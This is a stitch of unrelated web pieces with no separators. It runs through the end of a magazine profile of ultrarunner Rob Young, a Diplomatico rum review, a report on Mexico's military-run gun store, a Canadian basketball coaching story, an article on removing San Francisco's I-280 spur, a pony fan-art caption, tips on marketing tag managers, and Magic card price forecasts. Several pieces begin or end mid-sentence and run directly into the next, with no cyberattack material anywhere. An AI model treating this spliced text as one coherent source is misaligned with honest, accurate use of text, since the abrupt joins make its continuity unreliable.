homework: while the others study the daily route maps and download directions on to their GPS watches, he prefers to wing it – and repeatedly gets lost. It is also obvious to all that Young is stressed. He knows he is an absent husband and father who is putting the family’s future in jeopardy. Since leaving his job, he has used up his savings. There is no cash coming in, which worries Joanna, who has moved back to Poland with Alexander to stay with her parents. Though she is greatly supportive of Young’s running, she hates being so far away from him, and being dependent on others. “We were fighting all the time,” Joanna says. “We were on the border of splitting up.” She asks him to come home, and he agrees. They talk some more and decide he should carry on. “To have quit would have ruined me as a person,” he says. He does not hide it when he thinks the race organisation is lacking. Bryce Carlson, an American ultrarunner who eventually finishes second, describes Young as the most volatile runner in the group, playful one moment, yelling and pouting the next. “He probably ‘quit’ the race at least five times, always making a bit of a fuss, but he always managed to show up at the starting line again the next morning,” Carlson writes in an email. He notes that they do not always see eye to eye, but also that he became very fond of Young, who would often slow down in order to chat to the other runners. “Another small thing: he was extremely generous with his food. He would routinely purchase more food than he needed or wanted so that he could share with others. I remember a number of occasions where he would want to stop mid-run for a soda, ice cream, or Popsicle and offer to pay. If you said no thanks, he’d often stop and buy you one anyway.” On 10 April 2015, in Mississippi, 362 days after his first marathon, Young celebrates breaking Abad’s record. (He has in fact run 367 marathons at this point, believing Abad to have run 366 in a year, not 365). He wins the Race Across USA by 30 hours. Daniel Lieberman is a professor of human evolutionary biology at Harvard University, and an expert on the biomechanics of endurance running. At the start and end of the Race Across USA he performs tests on the competitors. He finds that Young has “the perfect running form”: good posture, a relaxed upper body, a seemingly effortless glide. Many amateur runners crash into the ground with their feet. When Lieberman asks Young to run on a pressure pad, there is very little impact. “That’s important when you are having thousands of collisions, or millions in Rob’s case,” Lieberman says. “You cannot be a thumper and a great runner.” In London, Courtney Kipps had observed something else about Young’s footfall. When the typical recreational athlete runs on a treadmill their feet seldom land in the same place. With Young, the landing map looks like a single pair of soles – he strikes the same spot every time. This is a strong indication of running efficiency; Young uses no additional energy in trying to balance or push off. But other results are “remarkable for how unremarkable they are”, Kipps says. Young’s VO2 Max – a measure of how much oxygen a person’s body can use during exercise – is average for a three-hour, 30-minute marathoner. (His personal best is two hours and 41 minutes, but most of his runs are slower.) His anaerobic threshold, the point at which lactic acid starts to accumulate in the muscles, is good, but not exceptional. And so science alone cannot explain Young’s ability to run and run. His mindset may. Kipps notes that Young never shows long-term concerns; he is always enjoying the moment. “It’s like kids who don’t know danger or fear – they have no limits. That only comes later. Rob has a brain that does not all allow him to say: I cannot do that,” Kipps says. And then there is his high pain threshold. Kipps and the other medical experts who have worked with Young wonder where it comes from. Does he not feel pain, or does he just ignore it? Is it genetic, or is it all down to what he experienced as a boy, and how he trained himself to deal with it? Young himself has few answers. “If you look at many ultrarunners, they have come through something,” he says. “Maybe learning to control pain as a kid allows me to cope better now.” He knows, for instance, that when one part of his body is sore he can apply hurt to another – pinching, biting his lip – as a distraction. And that he can trick his brain: 20 miles in to a run he tells himself he has only covered five miles, and thus should feel fresh. This he can say for certain: “I run with my heart and my mind.” How far can a person run without sleep? Two hundred miles? Three hundred miles? Surfing the internet, Young realises it’s further. In 2005 Dean Karnazes, one of America’s best-known ultrarunners at the time, ran 350 miles through northern California. Back from the US, Young makes plans to run 500 miles in one go. He plots a roundabout, 420-mile route from Eastbourne to Birmingham, which he reckons will take him four days. If he times it right, he’ll then be able to line up for an 80-mile race. It will be a shoestring attempt; he and Joanna have just £80 between them when he leaves to catch an early train to Eastbourne on Tuesday 21 July 2015. She keeps £40 to get her through the week, and Young takes the rest to buy food along the run. If he has to sustain himself on bread and jam, he will. The first 24 hours go well, as he clocks 130 miles. The next 150 miles are more of a slog. As he nears 300 miles, he is in a bad way. It is the middle of Thursday night. First his legs feel dead, then his shoulders, lower back and arms. Pain shoots up through his shins, knees and thighs. His head feels as if it will explode. He stoops and shuffles like an old man; a mile takes 20 minutes. In the middle of the road he spots a seal, and then human outlines in the distance, glowing white. He was expecting to hallucinate at some point, so he doesn’t feel panic. But the two members of his rotating support team do. “Both of us on the crew were nearly 50 years old and responsible people,” says Ben Thornton, a friend who knows Young well. “We kept saying to each other: should we be trying to convince him to stop?” Thornton rides ahead on his bicycle, finds a petrol station with a vending machine, and fills up several drinking bottles with black coffee laced with sugar. Young downs a bottle, and soon after runs a mile in less than six minutes. When he is again spent, he drinks more coffee. In this way he keeps going, edging ever closer to the record as the rain comes down. After pausing for a roadside game of quoits, he passes the 350-mile mark, celebrating with a McDonald’s burger and more caffeine. The rain gets heavier, and the Friday evening light fades. Young vomits. His face turns bright red and feels like it’s on fire. His throat closes up. The support crew calls for an ambulance. Paramedics check his heart rate and, fearing he might be having a mild heart attack, say he should go to hospital. Young tries to dissuade them. “What if you just drive along as I keep running, and when I collapse you restart my heart and get me to hospital?” he asks. The run is over. He has covered 373.75 miles in 88 hours. Six weeks later, he is at it again, running 2,250 miles around the UK in 25 days with Adam Holland, a British ultrarunner, to raise money for a charity promoting peace in Kenya. It’s January 2016, and Young is back from his run to Hammersmith. As Alexander plays with toy trains at his father’s feet, Joanna serves the cauliflower soup. They chat about how their lives have changed over the past 21 months, and laugh at how bad Young is at keeping his telephone charged. “For Joanna to put up with me... It takes a lot,” he says. “But now we are good.” When Peter Wells, Young’s foster carer, visited at Christmas he gave him two pieces of advice: make sure that you look after Joanna, and don’t do anything too silly with your body. Young intends to honour the first of those. Having a stable family of his own helped him move on even more from his past. Though he will never forget – he still has a small white scar on the outside of his right knee and another on top of his right foot, from the fork and the nail – he made the decision in his teens to forgive his father. (His father was in jail then and remains there today, Young says.) “I got to a point where I was no longer scared of him, or controlled by him. There was no shame, and I did not want the anger to hold me back,” he says. Sponsorship by the sportswear company Skins – he also gets modest support from Lucozade – and a small advance for his autobiography have relieved some of the financial pressure, but to cover the rent he still needs more endorsements, which means planning new feats of endurance. His first big event this year, assuming he can find the cash for a flight to the US, will be the Vol State 500K Relay, a 314-mile adventure race that he will do with Adam Holland, starting in late April. Then he’ll embark on his main challenge, perhaps his most ambitious yet – to break the transcontinental record for running across the United States from west to east. Unlike the Race Across USA, which had set stages each day, this will be one long run against the clock. The record has stood since 1980, when Frank Giannino, Jr ran the 3,100 miles from San Francisco to New York in 46 days, eight hours and 36 minutes. If Young betters it he will receive widespread coverage in the US, improving his profile and that of his charity appeal. (He says he has raised more than £200,000 to date for Dreams Come True, Great Ormond Street Hospital, the NSPCC and other organisations – and hopes to set up his own charity one day.) “Physically, other guys are better than me,” Young says, referring to failed attempts by other ultrarunners to break Giannino’s record. “But I have the ability to suffer and cope when others break apart.” He also wants to test himself in more hostile environments. Last year, he met the explorer Sir Ranulph Fiennes and discussed solo expeditions. When Fiennes mentioned a North Pole crossing that nobody had yet done, Young said: “Get me the gear and I’ll try it.” There are great mountain ranges to be traversed, vast rivers to be swum. When he talks about the risks, Joanna looks up, and he lowers his voice. “I am slowly realising that this is who I am. It might lead to death but you cannot change when you have found who you are.” ** The man is running. It is now late February. He is lighter, stronger. Any day now he will become a father for the third time. Entering Richmond Park he veers off the gravel trail, across the grass, through a knee-deep river and up the bank. Ahead is a hilly area covered in trees and webbed with muddy footpaths where he likes to train, doing repeats of a figure-of-eight circuit. Charging up a sharp ascent, he tumbles, landing heavily. In a flash Rob Young is back on his feet, legs pumping. He does not look back to see what made him fall.This Diplomatico Reserva Rum is a great inexpensive rum. There are some really good flavors that I pulled out, from peach to orange to chocolate notes. It's complex and enjoyable and worth a try at $25 a bottle. Initial Thoughts I’m trying to become more well rounded when it comes to different spirits available out in the marketplace. Last week I had my first Scotch, the Glenlivet 12, and I was instantly hooked. Now I’m trying to get more involved in the rum world as well. I was recently contacted about doing some reviews of this Diplomatico Reserva Rum. I had never heard of it, nor seen it on the shelves at my local liquor store, so I wasn’t exactly sure what I was in store for. However, I agreed to do the review and tasting and that’s what you’re about to read! I’m still new to rums and still trying to learn how to pull out all the flavors possible and describe the experience, but hopefully I get all those points across to you and you’ll be able to enjoy this ride alongside me. So here we go. According to the fact sheet on this rum: “Diplomático rums, some of the most awarded in the world, are produced in Venezuela by Distilerias Unidas S.A. (DUSA) and are ranked consistently among the finest South American rums. With a total of seven stills (three pot and four column), the distillery has been producing top-quality spirits for more than 45 years and has achieved significant global success. Launched in 1989, Diplomático Reserva is a rich brown rum distilled from fermented molasses. Reserva is blended from 50 percent continuous and 50 percent pot still rums and is aged for eight years in used whisky and bourbon barrels.” This Diplomatico Reserva Rum is first distlled in column still and then again in copper pot stills. After that it barreld in used bourbon and whiskey casks for eight years. We all know that I love some bourbon and whiskey so I’m glad they’re using those casks instead of wine casks or anything like that. So that’s pretty much all I have as the background on this rum. Let’s dive into and see what all I experience with it. Looks The bottle containing this Diplomatico Reserva Rum is very elegant and classic looking. I love the orange labeling and the firmly stated 8 anos, which means 8 years in Spanish, incase you’re not as fluent as me. The label also has a black and white painting of someone’s headshot, turns out this is Don Juancho. You can read all about this story here, it’s pretty interesting and worth the read. Personally I love the big bold Diplomatico stamp in the middle of the label. It’s a black box with some sort of postage stamp press cut around the edge of it. Very interesting branding, I’m digging it. Well enough about how it looks, we all want to know how it tastes. So lets dive a little deeper into it and see what all it has to offer. Reviewed Neat Nose Right out of the gate this Diplomatico Reserva Rum is bringing a fairly intense alcohol note. I know that seems fairly obvious, but it’s not just the liquor it’s a very strong sense of alcohol. Once I let some air get to the glass it calms down the alcohol and some other flavors begin to appear. The first thing I pick up on is some peach aromas. Then I begin to pick up on some soft woody notes. Probably from the casks that this was aged in. I can pick up on some hints of spice, probably vanilla and cinnamon if I had to guess, but I’m not exactly able to pinpoint them. That’s about all I can pick up thus far. Time to take the first sip! Palate I’m drinking this Diplomatico Reserva Rum out of my snifter glass. I’m not sure if that’s approriate for rum or not, but it helps me concentrate the flavors and aromas so I can really pick up on more of them. The first thing that hits my palate when I take a sip is the dominate sweet velvety toffee note. It’s an incredible mouthfeel that coats the top and my mouth and just has this thick buttery feeling that’s fantastic. Once the toffee disappears I pick up on some hints of chocolate and a bit or orangy or citrus flavors towards the back end. It offers some nice complexities to round everything else out. Finish On the finish is where spirits earn their money. What sort of lasting impression does it leave you with? That’s what makes us come back for me. This Diplomatico Reserva Rum had a decent finish. It was smooth and somewhat lingering. It left me wanting more so that I could experience it on my palate and try to pick out more of those flavors. The finish was very enjoyable leaving a nice coating until the next sip. I could see how this would pair very well with a cigar. It leaves behind that coating and then by taking a puff to infuse the flavors of the rum and the cigar in your mouth could bring out some exciting flavor combinations! Diplomatico Reserva Rum: 8/10 Going off of my previous scale for the Pyrat Rum and giving it a 9. I’m going to have to give this Diplomatico Reserva Rum an 8. I enjoyed it, and it was really tasty, but for me personally I enjoyed the Pyrat more. This rum has plenty of good things going on with it, especially the price point of $25. It’s hard to beat that! So if you come across this rum give it a try and see for yourself what you like / dislike about it. I think most people will enjoy it.MEXICO CITY - In all of Mexico, there is only one gun store. The shop, known officially as the Directorate of Arms and Munitions Sales, is operated by the Mexican military. The clerks wear pressed green camouflage. They are soldiers. The only gun store in Mexico is not very busy. To go shopping for a gun in Mexico, customers must come to Mexico City - even if they live 1,300 miles away in Ciudad Juarez. To gain entry to the store, which is on a secure military base, customers must present valid identification, pass through a metal detector, yield to the security wand and surrender cellphones and cameras. To buy a gun, clients must submit references and prove that their income is honestly earned, that their record is free of criminal charges and that their military obligations, if any, have been fulfilled with honor. They are fingerprinted and photographed. Finally, if judged worthy of owning a small-caliber weapon to protect home and hearth, they are allowed to buy just one. And a box of bullets. Mexico has some of the toughest gun-control laws in the world, a matter of pride for the nation's citizens. Yet Mexico is awash in weapons. President Felipe Calderon reported this month that Mexican forces have captured more than 93,000 weapons in four years. Mexican authorities insist that 90 percent of those weapons have been smuggled from the United States. The U.S. and Mexican governments have worked together to trace 73,000 seized weapons, but both refuse to release the results of the traces. More than 6,600 federally licensed firearm dealers operate on the U.S. side of the border. At least 14 million guns are thought to have been sold in the United States last year, according to the National Instant Criminal Background Check System. But no one knows the exact number. In Mexico, Lt. Col. Raul Manzano Velez, director of the gun shop, knows with precision his annual sales figures. On average, the military has sold 6,490 firearms each year since 2006. Legal gun sales are decreasing, even as seizures of illegal weapons soar. Daniel Mendoza has come to shop at Mexico's only gun store with a friend. He is interested in something to protect his family. He described himself as a middle-class businessman and was vague about prior gun ownership. Asked whether Mexico's gun-control laws were working, Mendoza said, "Ask the criminals." The Mexican military has been handling gun sales in strict military fashion since 1995. "Only a tiny percentage of our weapons end up in the hands of criminals," Manzano said. That percentage, he said, is less than 1.Watch above: Saskatchewan Huskies women’s basketball team coach Lisa Thomaidis talks with Jack Haskins about her golden summer as bench boss of national team. SASKATOON – It has been quite the summer for Lisa Thomaidis. The head coach of the Saskatchewan Huskies women’s basketball team is also the bench boss of Canada’s women’s national team, and the ladies took care of business this summer. First they won gold on July 20 at the PanAm Games in Toronto, defeating the U.S. 81-73. READ MORE: Canadian women beat the U.S. 81-73 to collect 1st-ever Pan Am basketball gold Four weeks later, they took top spot at the FIBA America’s women’s basketball championship, downing Cuba 82-66 and going unbeaten in the tournament. The win earned Thomaidis and her squad a spot at the 2016 Summer Olympics in Rio de Janeiro. READ MORE: Nurse scores 20 points as Canada beats Cuba 82-66 to earn berth at Rio Olympics It was the perfect way to cap off what was a historic summer for the national team and Thomaidis was quick to credit her players and their character for capturing two major championships weeks apart. “This national team is the best team that I have ever been a part of because of the buy-in, because of the character, because of the athletes and the people we were able to work with,” explained Thomaidis. “We had the potential to do something great this summer and as it turns out, they were able to do something remarkable and amazing and history making.” Leadership also played a role for her squad. “I think the messaging from (the veteran players) saying how special it is and how hard it is to get to an Olympics really hit home with some of the younger players.” READ MORE: Who is Team Canada basketball star Kia Nurse? Securing the Olympic berth gives Thomaidis breathing room in preparing for the Olympics. “To be able to secure this berth one year out is just such a great feeling for them … we can tailor our training so that we are peaking at the Olympics as opposed to having to peak for the Olympic qualifying tournament.” Before that, she has a university team to coach this upcoming season and said the championships this summer will only help with exposure and recruiting. Jack Haskins contributed to this storyMayor’s Transpo Chief: “Let’s Be San Francisco and Take Down the Freeway” The idea of removing the northern section of Highway 280 near Mission Bay is gaining more traction as planners look for ideal ways to usher in high-speed rail and transit-oriented development in downtown San Francisco. At a SPUR forum yesterday, Mayor Ed Lee’s transportation policy director, Gillian Gillett, sketched out a proposal to follow in the footsteps of the removals of the Embarcadero Freeway and a section of the Central Freeway, which revitalized the neighborhoods the roads used to divide. As Adina Levin at Green Caltrain reported, Gillett argued that replacing the elevated portion of I-280 with a street-level boulevard, from its current terminus at 4th and King Streets south to 16th Street, would improve the livability of the area, open up land to develop new neighborhoods, provide funding through real estate revenue, and open up engineering solutions to facilitate the extension of Caltrain and CA High-Speed Rail to the planned Transbay Transit Center. If the freeway is left to stand, its pillars would present an engineering obstacle to running the train tracks undergound, meaning the only other feasible way to allow rail tracks to safely and expediently cross 16th Street would be to dip 16th underneath the tracks. And that would make the intersection — a gateway to Mission Bay — even more hostile for people walking and biking than it already is. As past cases have shown, creating a surface street where that part of I-280 now stands and integrating it into the neighborhood would actually reduce overall car traffic. In a moment that would make the city’s mid-20th Century freeway protesters proud, Gillett told the crowd, “Let’s be San Francisco and take down the freeway.” Walk SF Executive Director Elizabeth Stampe called the proposal “an exciting opportunity to re-orient our city around sustainable public transportation and create a more walkable city.” “Freeways don’t belong in cities,” she said. “They’re enormous barriers, and cars getting on and off them at high speeds pose the greatest risks to pedestrians. Folks knew that in Hayes Valley, and they took down the Central Freeway and helped knit San Francisco’s urban fabric back together.” Long a dream of livable streets advocates, the possible removal of the inner portion of I-280 is being studied by the CA High-Speed Rail Authority at the urging of San Francisco officials, who also see it as a way to open up engineering options for a more direct rail alignment toward the Transbay Center, and to free up land for development that could help fund the project. In a memo to Metropolitan Transportation Commission Executive Director Steve Heminger, Gillett wrote: We need to create a faster and cheaper [Downtown Extension] alignment, realize the full value of the 4th & King Streets Railyard site, and eliminate the intrusiveness of I-280 in Mission Bay by terminating it at 16th Street and replacing it with a boulevard, based on the lessons learned from the removal of the Embarcadero Freeway to create a new Rincon Hill neighborhood and the Central Freeway to create the new Market-Octavia neighborhood. As to whether Mayor Lee himself backs the proposed freeway removal, it seems likely given Gillett’s position at City Hall, but to make sure, we’ve put in an inquiry to his office, and have yet to hear back. To look at the development possibilities for the land occupied by the 280 freeway and Caltrain storage yards, the Planning Department commissioned a study released last month [PDF], which estimated the value of removing the freeway in terms of development. Without the freeway, more space could feasibly be used for housing, and nearby land would be worth $228 million, compared to a value of $148 million if the freeway is retained. The difference in land value largely comes from the noise, pollution, danger, and visual blight that comes with living next to a freeway, the authors noted. “Reconfiguration of Highway 280 to create a boulevard would increase the value of the land, both from a financial standpoint and also from the perspective of improving the physical environment,” the study said. Cheryl Brinkman, a member of the SF Municipal Transportation Agency Board of Directors, said she “definitely supports taking a serious look at [the freeway removal] option.” “I think we are very lucky in SF that we have the example of the Embarcadero freeway coming down, we all got to see what a big change that meant for the waterfront. So, with that in mind, we should be more open to a big change like a freeway coming down. I am certainly glad we are having the discussion.” In addition, without the freeway, train tracks could run under 16th Street, instead of the other way around. This would be far preferable for the city’s surface transit, biking, and walking environment. Were the train tracks to kept at ground-level with 16th Street, it would cause delays for Muni’s 22-Fillmore line, which the SFMTA plans to re-route on to 16th east of Kansas Street with center-running bus lanes, as part of the Muni Transit Effectiveness Project. That proposal is aimed at speeding up the 22 and moving the line closer to serve the UCSF campus and workers coming to developing Mission Bay, according to the SFMTA’s website. “The 16th street at-grade crossing is nearing gridlock today,” Levin noted on Green Caltrain. “More trains from electrified Caltrain and high speed rail will make grade separation a necessity.” Brinkman agreed: “The alternatives look pretty unwelcoming to pedestrians and people on bikes, and as [Levin] noted, create gridlock for transit and autos,” she said. “I would hate for the two neighborhoods to be cut off from each other on either side of the train tracks, and to lose the opportunity to use the land for other things, like housing or businesses.” There’s currently no timeline set for any possible removal of the freeway, but if approved by the CAHSRA, Caltrans and city agencies, it would be part of the larger project to extend Caltrain and high-speed rail tracks from 4th and King to the Transbay Center, which is still in its early stages. The CAHSRA currently aims to open high-speed rail service to Los Angeles by 2029."While besides the water bank, Some nasty mare attacked my flank. Dressed in an lion's skin, She must have stalked me from my den. Knocking me into the water face first, She helped me satisfy my thirst. Personally, I think your prank is lame, Applejack, lions are no game." Applelion is queen of the savanna! I was working on another CMC picture, but had to take a break to paint Applelion in honor of her official debut. Thus I made Appleloin in her natural habitat, preying on zebras. I'm happy with this one mainly because of how fast it came together, I doodled it out Friday night and I sunk around 10 hours into it between then and now. That's extremely fast for me. Even though I didn't watch the leaked "Scare Master" I did indulge myself in looking at the costumes of the mane six and assorted wonderful arts which featured them. Sadly, I haven't seen many pictures of Princess Twilight Derpy. Someone needs to get on that.4 Quick Tips for Better Tag Management Tag Managers are a blessing for marketers. They can finally add all those marvellous services – chats, surveys, advertising, exit-intent popups, anything – all by themselves, without that “unnecessary” IT hassle: release cycles, rigorous testing, security approvals and so on. When it is so easy to add new stuff to a website, you start with adding one tag, then another and you end up a year later with tens of them. Many of them forgotten and unused anymore because the priority is always on adding and never on removing tags. Gradually, tags slow down your website, reduce conversion and customer experience. If you would ask your developers to add twenty third-party tags at once, they would say “no” for a multitude of reasons. But, when you add one tag at a time, no one notices the overall impact of your tags on KPIs or site speed. So here are four simple tips how to add tags in a better way. Tip No. 1: Delay Tags Many services that are added using a Tag Manager don’t have to be added immediately to a website. No one is going to use a widget, like AddThis, to share your content within the seconds from landing on your website. By delaying the tag, you let other scripts and assets that may have higher priority to load and execute first. You also declutter your layout and allow users to focus on the website’s content. Then, 10, 30, 60 seconds later, if the users are still on your website it the right time to load the tag. When the widget shows up it will surely get some extra attention. Delaying a tag can do wonders to your marketing budget. If you are using a tag manager to add retargeting tags provided by Google Adwords, Linkedin Ads, Facebook and others, a delay in adding those tags can help you avoid remarketing to users who landed on your website by a mistake. Let me give you an example from our own backyard. Every now and then we prepare free market reports. The two of reports compare insurance quotes of popular insurance brands. Soon, we have started getting visits to this report from Google. However, these visitors were not interested in our report but were looking for insurance quotes provided by the featured brands. They needed only a quick look to realise they visited the wrong website. Without a delay, these users would be haunted by our remarketing ads, annoying these innocent visitors and wasting our budget. Tip No. 2: A/B Test Your Tags If you have enough traffic, always A/B test every new tag you add. Heck, re-test old tags every now and then. Depending on what websites you run, you may have different KPIs, but at least take a look a quick look at conversion, financial metrics, engagement metrics, retention. Then think which metrics should be changed and which should stay flat in the test version with the tag. For example, adding a survey tool should have no impact at all on your metrics. Perhaps some users who will respond to a survey will stay longer on the site but probably not long enough to move the needle. So if you see a drop in conversion or time spent on the site then you will need to ask yourself: do insights I gain from surveys justify the drop in metrics? Unfortunately, most of the tag managers, including Google Tag Manager, don’t offer AB testing of tags. Some require integration with other A/B testing tools, like Piwik which requires integration with Optimizely or VWO. Tip No. 3: Keep a Small Control Group Not all websites have millions or even tens of thousands of visits a week. If you don’t have enough traffic to quickly AB test a tag, at least keep a small control group – like 5% of your users – and don’t add the tag for them. You may generate 190 leads instead of 200 per month from your popups but missing these 10 leads won’t kill your business. But these popups can be deadly, and having the control group may allow you to find out about that. Just come back some time later and compare performance for visits with and without the tag. Keeping a small control group is worth doing even if you have a huge traffic. Let me give you a couple of reasons. 1) even if you tested thoroughly a tag and made sure it doesn’t impact the performance, your tests may not be valid a month later. Your website will change by then but also the vendor’s tag may behave differently. If you preserve a control group, you will be able to monitor tag’s performance and quickly detect any changes. 2) you will be able to calculate ROI more efficiently than with a quick A/B test, especially with services that can lead to customer satisfaction fatigue. A message telling users to hurry and book a hotel room NOW or they spend a night on a bench in a park may increase conversion in the short-term but have the opposite effect
’t playing against a control deck, and what is Dromoka then? A 5/7 flying lifelink for six. That’s good enough to win some games I guess. You wouldn’t put a creature with just that text on it in your starting sixty though. She’s clearly great against control decks with her two additional clauses. Is she good enough elsewhere to warrant main deck play, especially in a format full of giant curve-topping haymakers? I doubt it. She’s sideboard material only, although she’s good at what she does there. Two or three copies in the board won’t be enough to push this out of the “bulk mythic dragon” tier of pricing. Dragonlord Kolaghan One Month: $2-$5 Origins: $2-$5 A 6/5 flying haste for six isn’t shabby. There is currently no Modern legal card with six hasty power that doesn’t cost at least seven or come with a drawback, so she’s setting a bar on that metric. If you untap and your opponent isn’t dead yet, she gives whatever other creatures you can throw at the board haste too. Alright, that’s all quite reasonable. Probably not format defining, but definitely reasonable. How about the other ability? This is very Ob Nixilis rules text. “Wow, ten damage! That’s absurd!” Sure. How often do you think your opponent is activating this unless it practically wins them the game? I’ll take ten if it means I get to resolve a Hornet Queen and roadblock you until I can draw an answer. Other than that, don’t count on this to do damage, but rather prevent people from doing things. Just like Ob Nixilis basically shuts off shuffle effects, and Voice of Resurgence shuts off counterspells, Kolaghan makes your opponent play a Leyline of Singularity game by stranding cards in their hand. Is that good? I’m inclined to say only very situationally. It will certainly crush your Sidisi Whip opponent, but I’m unsure how much your Abzan Control or RW Tokens matchup is going to care. I need to make a point of noting, since I’ve seen it wrong multiple times in multiple places – Kolaghan only counts for creatures and Planeswalkers, not instants and sorceries. There is no punishment for them Downfalling her as soon as she resolves. It would be interesting to see Kolaghan as part of some sort of Jund Crushinator deck that plays Atarka’s Command, Caryatid, Rattleclaw and Servant as ways to ramp into Kolaghan and a fleet of hasty dragons. Kolaghan may not kill them the turn she comes down, but how about the Dragonlord Atarka behind her? I imagine Kolaghan, like the other Dragonlords, will float around the few dollar range. Above bulk mythic, but unlikely to have enough copies in enough decks to push above $5. Dragonlord Ojutai One Month: $2-$4 Origins: $1-$3 Ojutai hangs out and watches the action unfold until you’re in a position to protect him when you turn him sideways. That means he’s either coming down very late, or he’s going to be on defense for awhile. As a 5/4, he’s really not great at blocking, which is what you’ll want him to be doing half the time. When you finally do manage to get in with him, he casts Anticipate, which we know to be worth two mana. Silumgar, on the other hand, casts a better Mind Control when he enters the battlefield, which costs at least five. I am underwhelmed by Ojutai. If any deck actually wants copies of Ojutai, they’re only going to want one, maybe two. UW decks are much more likely to want Elspeth or Pearl Lake or Ugin as a closer due to their versatility. Meanwhile, on the casual side of things, Ojutai is in the third and fourth worst dragon colors, and is hilariously terrible as a commander. What we’ve got here is another Isperia, i.e., bulk mythic. Dragonlord Silumgar One Month: $3-$6 Origins: $2-$5 Thus far Silumgar looks like the most playable of the Dragonlords. At six mana you get a body that doesn’t die to Stoke the Flames, blocks most anything and wins, and can serve for three in the air. On top of that, you get to steal the most relevant permanent on the board. Siege Rhino? Tasigur? Stormbreath Dragon? Whisperwood Elemental? Take ‘em all! Even more savage is stealing Elspeths, Ugins, or perhaps most savage of all, an Ashiok that just ticked over ten counters. A topdecked Silumgar, moreso than any other Dragonlord, can immediately swing the game from a heavy loss to a nearly-guaranteed win. Even still, his price outlook isn’t the hottest. I do like him more than any of the others. He’s much less contextually good than his peers, and you are unlikely to be afraid to have three in your deck. That said, he’s still not going to make a great commander, and there are plenty of huge game-ending threats in this Standard formats. He’s also terribly embarrassing against Hornet Queen, for what that matters. I wouldn’t be surprised to see him hang out in the near fiveish range, but I can’t imagine he’s capable of sustaining double digits for more than a week. Dromoka’s Command One Month: $1-$4 Origins: $1-$5 Whoa. Is this the best rare in Dragons of Tarkir? A few friends and I were conjecturing about what the Selesnya charm would be, and not a single person had a friendly outlook. We anticipated some sort of Healing Salve, a half-assed Rampant Growth, and a universal agreement that the card costs two mana more than it needs to. Karametra’s foul taste lingers still. Imagine my surprise when this popped up. At a converted cost of two, already this was far ahead of what was expected. Five and six mana charms have to do an incredible amount of work, but at two mana and a guaranteed four modes, any charm is going to have a real chance of being relevant to someone, somewhere. Right off the bat this card is playable based on modes three and four. Make my dude bigger and kill your Rabblemaster or Mentor is going to happen time and time again. My Siege Rhino eats yours, or my Tasigur eats your Rhino, or heck even my Elvish Mystic trades with your Rabblemaster. This is some excellent (and cheap!) removal for a color combination that is not known for doing that frequently. Mode two is especially relevant right now, eating Coursers, Whips, Dragon Tempests, and Ascendancies. This seems like it’s over performing right now, and I anticipate this mode’s usefulness will scale back after October when we lose the enchantment set. Still though, it’s going to matter a lot between now and then, and maindeckable enchantment hate is not going to go unnoticed down the road. “Counter Stoke the Flame” is going to be awesome all summer, as RW decks can no longer rain down fire without fear of reprisal. This explains the lack of a “can’t be prevented” clause on Roast or Rending Volley – WotC apparently wants them Drommandable. Dromoka’s Command will be an interesting case study in the coming year. How much can a two-color utility rare be worth? Hero’s Downfall broke $15 at one point as a fall-set rare, so there’s certainly precedent for high prices on useful spells. It’s highly unlikely Command will see the requisite price to reach that level, but it’s worth knowing it’s not unheard of. For the most part, I’m anticipating this hangs around in the sub-$5 range. It will be played in some number in nearly any deck that can cast it, although I’m not convinced it’s an auto-four-of. Perhaps time will remember this outlook poorly. In any case, you’ve still got to be making both green and white mana, which provides a real constraint on the number of decks capable of running it. Should some GW list become uncontested tier one and this is major component we could see the price rise above $5, but mostly expect to pay around $2 to $5 for this in the meantime, with sub-$2 prices possible if other cards end up suppressing values elsewhere. Narset Transcendent One Month: $20-$30 Origins: $12-$18 I don’t really want to ramble about how good Planeswalkers may or may not be, because a lot of individuals who are much better at Magic and more in touch with the competitive scene than I am tend to write a lot about them, so I’d rather just defer to their opinions. What we do know about Narset is that she’s two colors, which is already a strike against her. Planeswalkers of a single color will find themselves in a wide variety of decks, as we saw with Jace, Architect of Thought and Elspeth, Sun’s Champion. Two color walkers have many less potential homes just by virtue of needing more types of mana. This doesn’t mean that two color Planeswalkers can’t be successful, just that there is a lower theoretical ceiling on them, as there is with any card that is more than one color. From a slightly more subjective standpoint, I doubt that Narset is a Modern or Legacy playable walker. So few four mana walkers see in play in Modern, and in Legacy it seems much more likely that you’d rather just cast Jace most of the time. I can’t say for sure that she’ll never show up in either format, but I’m definitely not expecting her to make a big impression on either. Narset is a two-color, Standard only Planeswalker. She’ll have to be outstanding to hold a price north of $20 after a few weeks. My guess is that she’ll frequently hang out in the $14 – $24 range, with brief ventures outside of that range. Over the summer I expect her to hit her floor at around $10 – $12, and that is when it will be time to buy in. Post-rotation, as with most Planeswalkers, she’s likely to climb some from there. In the meantime, I’m a seller, and I wouldn’t be looking to pick up personal copies until she’s $20 or lower. Ojutai’s Command One Month: $1-$3 Origins: Bulk – $2 Abilities two, three, and four are obviously useful. Essence Scatter isn’t legal, but if it were, I’m sure people would be playing it. With a format that includes Siege Rhino, Tasigur, Rabblemaster, Mentor, and Whisperwood, creatures are a big deal. Four life is unexciting if at least useful. It will win games that should have been lost. And finally, drawing cards is something any UW deck is happy to be doing. How good is the first ability? This is a little trickier to nail down. There are two immediately obvious options in Seeker of the Way and Soulfire Grand Master. Both are very playable in the sort of deck that would like Ojutai’s Command. Less conventional options do exist as well. Fleecemane Lion is a legal target. Using him to trade early is completely fine if you know that you can later buy him back and immediately monstrous him. Heir of the Wilds or Frost Walker are also not what you may think of when returning two-drop threats, though both could certainly fit into decks that run command. Even with four very usable modes, the drawback here is likely the cost. At three this would be unreal, so as is it can’t be any cheaper. The addition of that one colorless mana hurts though. The difference between three and four is the difference between whether you can stop Rhino on the draw or not. I’m inclined to think this will be a fairly cheap card for the most part. It’s not going to be a $.10 rare, but unless UW is suddenly better than UB, which I’m dubious of, this will be relegated to tier two and three play. Without other formats to really prop it up, the price should drag for the most part. Sarkhan Unbroken One Month: $12 – $17 Origins: $9 – $14 Sarkhan is a lot more powerful than Narset. He’s guaranteed to draw you a card instead of maybe possibly if-this-is-the-right-card-type drawing you one, and he even tosses a free mana in on the deal. Making a 4/4 dragon is an excellent minus ability, as he not only protects himself, he does so in a way that isn’t just chump blocking. Those 4/4’s are legitimate threats. His ultimate is mostly crap, but you can’t have everything. Even though he’s stronger than Narset, that three-color mana cost is brutal. A two color Planeswalker has restricted options, but a three color has basically one. Unless we start venturing into four color decks, which Standard mana bases don’t support, he’s really only going to have one home. With only a single viable shell, regardless of how strong Sarkhan is, he’ll fall 